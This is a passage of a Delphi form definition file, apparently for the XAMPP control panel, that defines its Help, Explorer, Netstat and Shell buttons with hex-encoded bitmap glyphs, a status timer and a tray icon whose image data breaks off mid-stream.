A5CF66A2CE629FCC5E9CCB7FB0D523679FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFF4E86BE98C3DF77AFD573ACD36FA9D26BA7D05BB7E354C2ED81B4D7286B A3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF538AC29CC6E17CB3D779B1D575 ADD471ABD25FBAE44BD4FF7CBBE02E6FA7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFF598EC6A0C9E382B8D97EB5D87AB2D677AFD573ACD36DABD48CBADA3373 ABFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E91C9A4CCE487BBDB84B9DA80 B6D87CB3D779B0D574ADD48FBDDC3977AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFF6395CDA8CFE58CBFDD88BDDC85BADB81B7D97EB4D77AB2D694C1DD3F7C B4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6798D0ABD1E790C2DF8DC0DE8A BEDC87BBDB83B8DA80B6D899C4E04580B8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFF6B9BD3AED4E8ABD3E8AAD1E7A8CFE5A5CDE4A2CBE4A0C9E29DC7E14B84 BCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6E9DD56C9BD3699AD26697CF63 95CD6093CB5C90C8598EC6558BC35188C0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF} ParentFont = False TabOrder = 3 OnClick = bQuitClick end object bHelp: TBitBtn Left = 721 Top = 197 Width = 105 Height = 30 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Help' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -14 Font.Name = 'Arial' Font.Style = [] Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF4ECE5D6BAA2B6845AAC 7445AB7243B27E53D2B59CF2EAE3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFE7D5C6BA895FD7BBA3E9DACAECE0D1ECE0D1E8D8C8D3B59CB07A4DE2CF BEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEAD9CBBE8C62E7D5C4E5D2BFC9A685B8 8E67B68A65C5A180E0CCBAE3D0BEAF7648E3D0C0FFFFFFFFFFFFFFFFFFF7F1EC C99D79EAD8C9E3CDBAC0946BBA8C62CFB094CFB094B7895FB28761DAC0AAE4D1 C0B68359F4ECE6FFFFFFFFFFFFE6CFBCE4CCB9EAD6C5C79971BF9066BF9066F7 F1ECF6F0EAB7895FB7895FB58963E2CEBBD9BDA6D9BEA7FFFFFFFFFFFFD9B395 EFE1D3D9B595C7986CC39569C19367BF9066BF9066BB8B63B98A63B88A62CBA7 86EADCCCC2956FFFFFFFFFFFFFDAB393F2E4D9D1A57AC5996BC4976AC49669FA F6F2F3EAE1C2956DBE8F65BE8F64C0956DEFE3D5C19067FFFFFFFFFFFFE1BB9D F2E5DAD1A67ECC9D71C79A6CC5986BE2CCB6F8F3EEF6EEE8D9BDA1C29468C59B 71F0E2D6C79971FFFFFFFFFFFFEACAB0F3E5D9DFBB9ECFA075CD9E72F5EBE3E4 CBB4E7D3BFFBF8F6E5D3BFC4986BD6B491EEE0D2D3AC8BFFFFFFFFFFFFF5E4D6 F4E3D4EFDCCDD5A87ED0A077FBF8F5FCF8F5FCF8F5FBF8F5D1A881CFA47BEAD5 C3EAD4C2E9D4C2FFFFFFFFFFFFFDF9F5F1D3BBF6E9DDECD8C6D7AC81DCBB9AF6 ECE3F5ECE2E4C8AED2A77BE6CEBAF1E2D5DFBB9CFAF4F0FFFFFFFFFFFFFFFFFF FBF1E9F3D4BBF7EADFEEDED0E3C1A7D8AE89D7AC86DDBB9CEBD6C7F3E6D9E4C1 A3F5E9DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCF2EAF6DAC3F9E9DCF6E8DDF3 E5DAF3E5DAF5E7DCF5E4D6EDCDB4F8ECE3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFEFAF7FCEDE1F8DEC9F6D9C1F5D7BFF5D9C3F8E8DCFDF8F5FFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF} ParentFont = False TabOrder = 4 OnClick = bHelpClick end object bExplorer: TBitBtn Left = 721 Top = 121 Width = 105 Height = 30 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Explorer' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -14 Font.Name = 'Arial' Font.Style = [] Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA2CAEE 76B2E63E91DB348CD9348CD9348CD9348CD9348CD9348CD9348CD9348CD9348B D9398FDA85B9E9FFFFFFFFFFFF4799DDDEF1FAA8DDF49EDBF496DAF38ED8F386 D7F37FD4F279D3F272D2F16CD0F169CFF1C2EAF83F95DBFFFFFFFFFFFF3B97DB EFFAFEA1E9F991E5F881E1F772DEF663DAF554D7F447D3F339D0F22ECDF126CB F0CAF2FB3B97DBFFFFFFFFFFFF3C9DDBF2FAFDB3EDFAA4E9F995E6F885E2F776 DEF665DBF557D7F449D4F33BD1F230CEF1CCF2FB3B9BDBFFFFFFFFFFFF3BA3DB F6FCFEC8F2FCB9EFFBACECFA9CE8F98BE3F77CE0F66CDCF65DD9F54FD6F444D3 F3D0F3FC3BA2DBFFFFFFFFFFFF3BA8DBFEFFFFF8FDFFF6FDFFF5FCFFF3FCFED8 F6FC94E6F885E3F776DFF668DBF55CD8F4D7F4FC3BA7DBFFFFFFFFFFFF39ADDB E8F6FB94D4EF88CEEE73C1E9C9E9F6F2FCFEF3FCFEF2FCFEF0FCFEEFFBFEEEFB FEFEFFFF3CAEDBFFFFFFFFFFFF40AEDCF1FAFD94DEF593DCF481D5F26ACAED6C CBEA85D3EF80D2EF7AD0EF76CFEE72CFEEE9F7FB3EB2DCFFFFFFFFFFFF41B4DC F7FCFE8EE4F891DEF59FE0F5ACE1F6EFFBFEF4FDFEF3FCFEF1FCFEEFFBFEEEFB FEFAFDFF58BCE0FFFFFFFFFFFF3CB5DBFDFEFEFEFFFFFEFEFFFDFEFFFEFFFFEA F7FB6EC8E56FC9E46FC9E46FC9E47DCFE784D0E8BAE5F2FFFFFFFFFFFF59C2E0 61C3E263C4E363C4E363C4E362C4E356C0E0EDF8FCF3FAFDF3FAFDF3FAFDF3FA FDF3FBFDFCFEFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF} ParentFont = False TabOrder = 5 OnClick = bExplorerClick end object bNetstat: TBitBtn Left = 721 Top = 45 Width = 105 Height = 30 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Netstat' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -14 Font.Name = 'Arial' Font.Style = [] Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFBFD8C06DA46F478B49377F3A377F3A438746659C67B4CFB5FFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5FAF675AF793D8C429BC59DB3C29DBD C19CBEC39DB0D2B17EC09A317C34639B65ECF3EDFFFFFFFFFFFFFFFFFFF6FAF6 67AD6D70B786AEE8C7C0D2A0C5B381CAB47DCCAF78B9A77880CC95A0DABC66A8 7A4D8D50EBF2ECFFFFFFFFFFFF84C38A76C08D99D7B379C080BCC27EC6A96AD7 B169D6AD65BC9B5E60AD6A59976881C19967A97B639B65FFFFFFD1EAD456B060 B5EAD369BC746EBD71BEB66DC9A35BDFAB5BDDA858C1924E9DA95878B1665A96 67A6DCC0307B33B6D0B78CCF9492D7AFA0DEB484C670A8D080C5A55CD0A757E0 AA56DAA651C7984AB98C47B69B57819F6579BF9081BE9C639B656FC67AB0E9CF 83D490BFDC8AC3CB82CCA256DAAF5CDCAF5BC99A4BBF8643B78443B99A5296A5 6265A676A2D8BD42864466C572BEEFDD73D17D90D16CBCE09EC7A75ED3B05EC6 9953C6BC6EAFD17AB4C46DAFA95F7BA9575AA367B1E3CE37823B67C674BEF0DC 81D88377DB6DBFE59ACCDFA7CAA85DC2BD6CB8DA8BA6D86077D13F6AD04659BC 5063AB6CB2E4CE3C864073CB7EB3ECD29BE2A29DEA8DD4EDB7D0EAC7CFB96ECC B166CBC97576DB6766D94D65D74D6CD35D73BB7EA5DBC24C945194D79D98DEB5 B5EBCCB1EFA7C9EEA9D1EAC9D5CF8DD9CB8BCDB466BCBC679AD67182DE737ADC 7191D0A388C8A472AE77DAF1DD64C571C0F3E2B5EFB4B5F0ACC1EDB7D4E3B7D9 D89CDAD395CDB56DC7B36DB5CB8494DF9AAFE7CD489C4FC4DEC7FFFFFF99D9A1 87D7A0C0F2DEC7F2D6D5EFD5D0E9CFD5DBA6DCDEABDBCD90D7C88BC9C18EBDD5 AF7AC7917EBD84FFFFFFFFFFFFFCFEFC86D2908CD8A2CDF5E8D4EDDACEEDD3CF DFAFD6DEB5D4D4A2CED0A1C4D0AA87C99172BD7AF5FAF5FFFFFFFFFFFFFFFFFF FDFEFD99D9A265C672A5E1BBBAEACCC5E0BEC5DAB4BDD7B0A6D7AC60BF6B89CE 92F7FCF8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD9F1DC96D89E75CB8068 C77465C6726FC97B91D69AD2EED6FFFFFFFFFFFFFFFFFFFFFFFF} ParentFont = False TabOrder = 6 OnClick = bNetstatClick end object bXamppShell: TBitBtn Left = 721 Top = 83 Width = 105 Height = 30 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Shell' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -14 Font.Name = 'Arial' Font.Style = [] Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFDBBCA6C38E68C08B66BE8864BB8561B9835FB6805EB4 7E5CB27C5AB17B58AE7957AD7656AB7554A97353A97151C7A895C8926C525252 5353535454545555555656565757575757575858585959595A5A5A5B5B5B5C5C 5C5C5C5C5D5D5DA97251CA946E4E4E4E3D3D3D3D3D3D3E3E3E3F3F3F41414142 42424343434444444545454646464646464848485A5A5AAA7353CC976F4B4B4B 3838383939393A3A3A3C3C3C3D3D3D3F3F3F3F3F3F4141414242424242424444 44454545575757AC7554CF9A724747473333333434343636363737373939393A 3A3A3B3B3B3C3C3C3E3E3E3F3F3F404040414141555555AD7856D19C73424242 2F2F2F3030303131313333333434343636363636363838383A3A3A3B3B3B3D3D 3D3D3D3D525252B07A58D49E753D3D3D292929D1D1D1ADADAD2E2E2E2F2F2F31 31313232323434343636363737373838383A3A3A4E4E4EB27C5AD5A076393939 252525262626DEDEDE7474742A2A2A2C2C2C2D2D2D2F2F2F3131313232323434 343535354B4B4BB57E5CD8A279343434202020CFCFCFA8A8A824242425252526 26262828282A2A2A2C2C2C2D2D2D2F2F2F313131464646B7815ED9A379343434 2020202121212222222424242525252626262828282A2A2A2C2C2C2D2D2D2F2F 2F313131464646BA8560DBA47A31313132323233333334343435353536363637 37373939393B3B3B3C3C3C3D3D3D3F3F3F414141434343BD8763DCA77BDBA47A DAA379D8A279D7A178D59F76D39E74D19C73CF9A72CD9770CB956EC9946CC791 6BC48F69C38D67C08B66DDAD86F1DCCEEAC1A0E8B992E8B992E8B992E8B992E8 B992E8B992CDC8C5E8B992CDC8C5E8B9924464FFE8C4A7C19170E5C0A3DEB492 DCA77BDCA67ADAA47AD8A279D8A179D5A076D49E75D29D73CF9A72CE9970CB96 6FC9946CC79E80D1AD93FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF} ParentFont = False TabOrder = 9 OnClick = bXamppShellClick end object TimerUpdateStatus: TTimer Enabled = False Interval = 500 OnTimer = TimerUpdateStatusTimer Left = 100 Top = 352 end object TrayIcon: TTrayIcon Icon.Data = { 000001000300404000000100200028420000360000003030000001002000A825 00005E4200002020000001002000A81000000668000028000000400000008000 00000100200000000000004200000000000000000000000000000000000094A5 BD0094A5BD009FAAB903758FB5484370B283416FB5B4366BB9B82561BBBB366B BAEC396EBDF0386EC0F0376EC1F0376FC3F0366FC3F0366FC4F0366FC4F0366F C5F0366FC5F0366FC5F03670C5F03670C5F03670C5F03670C5F03670C5F03670 C5F03670C5F03670C5F03670C5F03670C5F03670C5F03670C5F03670C5F03670 C5F03670C5F03670C5F03670C5F03670C5F03670C5F03670C5F03670C5F03670 C5F03670C5F03670C5F03670C5F03670C5F03670C5F0366FC5F0366FC5F0366F C4F0366FC4F0366FC3F0376FC3F0376EC2F0376EC0F0386EBEF03A6DBAF03369 BAD43068BAB84371B5B84973B29C6283B5609BA7B80AAEB3BD00B0B6BF0094A5 BD0097A7BE0A6082B3BD255CAEFF1957B4FF1356BAFF165ABFFF195DC4FF175E C7FF175FCAFF1861CDFF1861CFFF1862D0FF1962D0FF1963D1FF1863D2FF1863 D2FF1863D2FF1863D2FF1863D2FF1963D2FF1963D2FF1963D2FF1963D2FF1963 D2FF1963D2FF1963D2FF1963D2FF1963D2FF1963D2FF1963D2FF1963D2FF1963 D2FF1963D2FF1963D2FF1963D2FF1963D2FF1963D2FF1963D2FF1963D2FF1963 D2FF1963D2FF1963D2FF1963D2FF1863D2FF1863D2FF1863D2FF1863D2FF1863 D2FF1863D1FF1962D1FF1862D0FF1862CFFF1860CDFF1760CBFF165EC9FF175D C5FF175BC1FF1356BBFF1555B5FF1E58AFFF4D74B0DDA6AFBD43B2B7BF007F97 BD005B7FB5961450ABFF1454B3FF195BBCFF1B5FC3FF1B61C8FF1C63CDFF1C64 D0FF1D66D3FF1D68D6FF1D68D8FF1D68D9FF1E69DAFF1E69DAFF1E69DAFF1E69 DBFF1E69DBFF1E69DBFF1E69DBFF1E69DBFF1E69DAFF1E69DAFF1E69DAFF1E69 DAFF1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69 DAFF1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69DAFF1E69 DAFF1E69DAFF1E69DAFF1E69DBFF1E69DBFF1E69DBFF1E69DBFF1E69DBFF1E69 DAFF1E69DAFF1E69DAFF1D68D9FF1D68D8FF1D67D6FF1D66D4FF1C65D2FF1C63 CEFF1C61CAFF1B5FC5FF195CBDFF1757B6FF0D4DACFF4C75B1D99BA9C0076F8D BB0B2C61AEE61352B0FF1A5BBBFF1B5EC3FF1C62C9FF1C64D0FF1D67D5FF1E68 D8FF1E6ADBFF1E6BDDFF1E6CDFFF1F6CE0FF1F6DE1FF1F6DE1FF1F6DE1FF1F6D E1FF1F6DE1FF1F6DE1FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6E E2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6E E2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6E E2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6EE2FF1F6DE2FF1F6DE1FF1F6DE1FF1F6D E1FF1F6DE1FF1F6DE1FF1F6DE0FF1E6CDFFF1E6BDEFF1E6ADCFF1E69D9FF1D67 D6FF1D65D1FF1C63CBFF1B5FC4FF1A5CBDFF1655B4FF1D57ACFF7692BC5E839B BF611F59AFFD1757B6FF1A5DC0FF1B61C8FF1C64D0FF1D67D7FF1E6ADBFF1E6B DEFF1F6DE1FF1F6EE3FF1F6FE5FF1F70E6FF1F6FE7FF2070E7FF2070E8FF2070 E8FF2070E8FF2071E8FF2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF2070 E9FF2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF2070 E9FF2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF2070E9FF2070 E9FF2070E9FF2070E9FF2070E9FF2070E9FF2071E8FF2071E8FF2070E8FF2070 E8FF2070E7FF1F70E7FF1F6FE7FF1F70E5FF1F6FE4FF1F6EE1FF1F6CDFFF1E6A DCFF1D68D8FF1D65D2FF1C62CBFF1A5EC2FF195AB9FF1251AEFF5179B5A14B76 B7831C57B1FF1859BAFF1B5FC5FF1C63CDFF1D67D5FF1E6ADBFF1F6CDFFF1F6D E3FF1F6FE6FF2070E8FF2071EAFF2072EBFF2072ECFF2072EDFF2072EDFF2072 EDFF2072EDFF2073EDFF2073EDFF2073EDFF2073EDFF2073EDFF2073EDFF2073 EDFF2073EDFF2073EDFF2073EDFF2073EEFF2073EEFF2073EEFF2073EEFF2073 EEFF2073EEFF2073EEFF2073EEFF2073EDFF2073EDFF2073EDFF2073EDFF2073 EDFF2073EDFF2073EDFF2073EDFF2073EDFF2073EDFF2073EDFF2072EDFF2072 EDFF2072EDFF2072ECFF2072ECFF2071EAFF2070E9FF1F70E7FF1F6EE4FF1F6D E0FF1E6ADCFF1D68D7FF1C64D0FF1B5FC7FF1A5BBDFF1252B2FF3E6EB3BC406E B3871755B2FF1A5BBEFF1B60C8FF1C64D1FF1E68D8FF1E6CDEFF1F6EE3FF206F E7FF2071EAFF2072ECFF2072EEFF2173EFFF2174EFFF2174F0FF2174F0FF2174 F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174 F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174 F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174 F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174F1FF2174 F0FF2174F0FF2173F0FF2173EFFF2173EEFF2072EDFF2071EAFF2070E8FF1F6E E4FF1F6CDFFF1E69DAFF1D66D3FF1C61CAFF1A5DC1FF1656B6FF265EB0B66284 B9E90F51B4FF1A5DC1FF1C62CBFF1D66D4FF1E6ADBFF1F6DE1FF1F70E6FF2071 EAFF2073EDFF2173F0FF2174F1FF2175F2FF2175F3FF2175F4FF2175F4FF2176 F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176 F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176 F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176 F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2175 F4FF2175F4FF2175F3FF2175F2FF2175F2FF2174F0FF2073EEFF2071EBFF2070 E7FF1F6EE3FF1E6BDDFF1D67D6FF1C63CDFF1B5FC4FF1657B8FF3063B2C8577D B9F21052B6FF1B5EC3FF1C63CDFF1D67D6FF1E6BDEFF1F6EE3FF2071E9FF2072 ECFF2174F0FF2175F2FF2176F3FF2176F5FF2177F5FF2177F6FF2177F6FF2177 F6FF2177F6FF2177F6FF2177F6FF2177F7FF2177F7FF2177F7FF2177F7FF2177 F7FF2177F7FF2177F6FF2177F6FF2177F6FF2177F6FF2177F6FF2177F6FF2177 F6FF2177F6FF2177F6FF2177F6FF2177F6FF2177F6FF2177F7FF2177F7FF2177 F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177F6FF2177F6FF2177F6FF2177 F6FF2177F6FF2177F5FF2176F5FF2176F4FF2175F3FF2174F0FF2073EDFF2071 EAFF1F6FE5FF1F6CDFFF1E69D9FF1C65D0FF1B60C6FF1456BAFF3E6FB6F04E79 B9F01254B7FF1B5FC5FF1C64CFFF1D68D8FF1E6CDFFF1F6FE5FF2071EAFF2173 EEFF2175F1FF2176F3FF2177F5FF2177F6FF2177F7FF2177F7FF2177F7FF2278 F7FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278 F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278 F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278 F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F7FF2177 F7FF2177F7FF2177F7FF2177F7FF2177F5FF2176F4FF2175F2FF2173EFFF2072 EBFF1F70E7FF1F6DE1FF1E69DBFF1C65D2FF1B60C8FF1558BCFF376BB7F04876 B9F01355B9FF1B5FC6FF1C64D1FF1E69DAFF1F6DE0FF1F70E7FF2072EBFF2173 EFFF2175F2FF2176F5FF2177F6FF2177F7FF2278F8FF2278F8FF2278F8FF1F76 F9FF1A73F8FF1671F8FF1470F9FF136FF9FF136FF9FF1570F9FF1872F9FF1C74 F9FF2177F9FF2278F9FF2278F9FF2278F9FF2278F9FF2278F9FF2278F9FF2278 F9FF2278F9FF2278F9FF2278F9FF2278F9FF2278F9FF2278F9FF2278F9FF2077 F9FF1C74F9FF1872F9FF1671F9FF1570F9FF1670F8FF1772F8FF1B74F8FF1F76 F8FF2278F8FF2278F8FF2177F7FF2177F6FF2177F5FF2175F3FF2174F0FF2072 EDFF2070E9FF1F6EE2FF1E6ADBFF1D66D3FF1B61C9FF1659BDFF3669B8F04674 B9F01356BAFF1B60C7FF1C65D1FF1E69DAFF1F6DE1FF1F70E7FF2072ECFF2173 F0FF2175F2FF2177F5FF2177F7FF2278F8FF2278F9FF2077F9FF1973F9FF287C F9FF4F93FAFF71A8FBFF84B4FBFF90BBFBFF8EBAFCFF7EB0FBFF66A2FBFF448D FAFF1E76F9FF1B74F9FF2278F9FF2279FAFF2279FAFF2279FAFF2279FAFF2279 FAFF2279FAFF2279FAFF2279FAFF2279FAFF2279FAFF2178F9FF1772F9FF2077 F9FF448DFAFF65A1FBFF75ABFBFF79ACFBFF78ACFBFF69A3FBFF4D92FAFF2C7E F9FF1973F9FF1F76F9FF2278F8FF2177F7FF2177F5FF2176F4FF2174F1FF2073 EDFF2070E9FF1F6EE3FF1E6ADCFF1D66D4FF1C61CAFF1659BEFF3569B8F04473 B9F01356BAFF1B60C7FF1C65D2FF1E69DBFF1F6DE1FF2070E8FF2072EDFF2174 F0FF2175F4FF2177F6FF2177F7FF2278F8FF1B73F9FF1C75F9FF6AA4FBFFDAE8 FCFFFAFCFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFF8FB FEFFB6D2FDFF3E8AFBFF1772FAFF1F77FAFF2279FAFF2279FAFF2279FAFF2279 FAFF2279FAFF2279FAFF2279FAFF2279FAFF1B75FAFF1C75FAFF5C9CFBFFC0D8 FDFFF8FAFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFAFCFDFFE1EC FCFF7DAFFBFF2479F9FF1973F8FF2177F7FF2177F7FF2176F4FF2174F1FF2073 EEFF2071E9FF1F6EE3FF1E6ADCFF1D66D4FF1C61CAFF1659BEFF3469B8F04373 B9F01356BBFF1B60C8FF1C65D2FF1E69DBFF1F6DE1FF2070E8FF2072EDFF2174 F1FF2176F4FF2177F6FF2177F7FF1772F8FF438BFAFFBFD8FCFFFFFFFEFFFFFF FEFFFFFFFEFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFEFEFFFFFFFEFFFFFF FEFFFFFFFEFFECF3FEFF8BB8FCFF1F77FAFF1D76FAFF2279FAFF2279FAFF2279 FAFF2279FAFF2279FAFF2279FAFF1572FAFF3F8AFBFFB9D4FDFFFEFFFEFFFFFF FEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFF FEFFFFFFFEFFCFE1FCFF599AFAFF1671F7FF1F76F7FF2176F5FF2175F1FF2073 EEFF2071EAFF1F6EE3FF1E6BDDFF1D66D5FF1C61CAFF1659BFFF3469B8F04273 B9F01457BBFF1B60C8FF1C65D2FF1E69DAFF1F6EE2FF2070E9FF2073EDFF2174 F1FF2176F4FF2177F6FF1671F7FF5999FAFFE7F0FDFFFFFFFEFFFFFFFEFFFEFE FEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFE FEFFFEFEFEFFFFFFFEFFFFFFFEFFB4D1FDFF287CFAFF1D76FAFF2279FAFF2279 FAFF2279FAFF2279FAFF1672FAFF5F9DFBFFE4EEFEFFFFFFFEFFFFFFFEFFFEFE FEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFE FEFFFFFFFEFFFFFFFDFFF7FAFDFF80B0FAFF1871F6FF1F75F5FF2175F2FF2173 EFFF2071EAFF1F6FE4FF1E6BDDFF1D67D5FF1C62CBFF1659BFFF3368B9F04272 B9F01457BBFF1B60C8FF1C65D2FF1E69DAFF1F6EE2FF2070E9FF2073EDFF2174 F1FF2176F4FF1670F6FF5395F8FFF0F5FDFFFFFFFDFFFEFEFEFFFEFEFEFFFEFE FEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFE FEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFBAD5FDFF2279FAFF1F77FAFF2279 FAFF2279FAFF1672FAFF5B9BFCFFF2F6FEFFFFFFFEFFFEFEFEFFFEFEFEFFFEFE FEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFE FEFFFEFEFEFFFDFDFDFFFFFFFDFFFFFFFCFF7FB0F8FF1770F4FF2074F2FF2173 EFFF2071EAFF1F6FE4FF1E6BDDFF1D67D5FF1C62CBFF165ABFFF3368B9F04272 B9F01457BBFF1B60C8FF1C65D2FF1E69DAFF1F6EE2FF2070E9FF2073EDFF2174 F1FF1B72F4FF3584F7FFDFEAFBFFFFFFFDFFFDFDFDFFFEFEFEFFFEFEFEFFFEFE FEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFE FEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFF9DC3FCFF1873FAFF2279 FAFF1C76FAFF3887FBFFE6EFFEFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFE FEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFE FEFFFEFEFEFFFEFEFEFFFDFDFDFFFFFEFCFFFBFCFBFF5E9BF6FF156EF2FF2173 EFFF2071EAFF1F6FE4FF1E6BDDFF1D67D5FF1C62CCFF165ABFFF3368B9F04272 B9F01457BBFF1B60C8FF1C65D2FF1E6ADAFF1F6EE2FF2070E9FF2073EDFF2074 F1FF1A71F4FFA1C4F9FFFFFFFCFFFEFEFDFFFDFDFDFFFEFEFEFFFEFEFEFFFEFE FEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFE FEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFF9FBFEFF5B9CFCFF1873 FAFF1B75FAFFB5D1FDFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFE FEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFE FEFFFEFEFEFFFEFEFEFFFDFDFDFFFCFCFCFFFFFFFBFFDBE7F9FF327FF3FF1C71 EFFF2071EAFF1F6FE5FF1E6BDDFF1D67D5FF1C62CCFF165ABFFF3368B9F04272 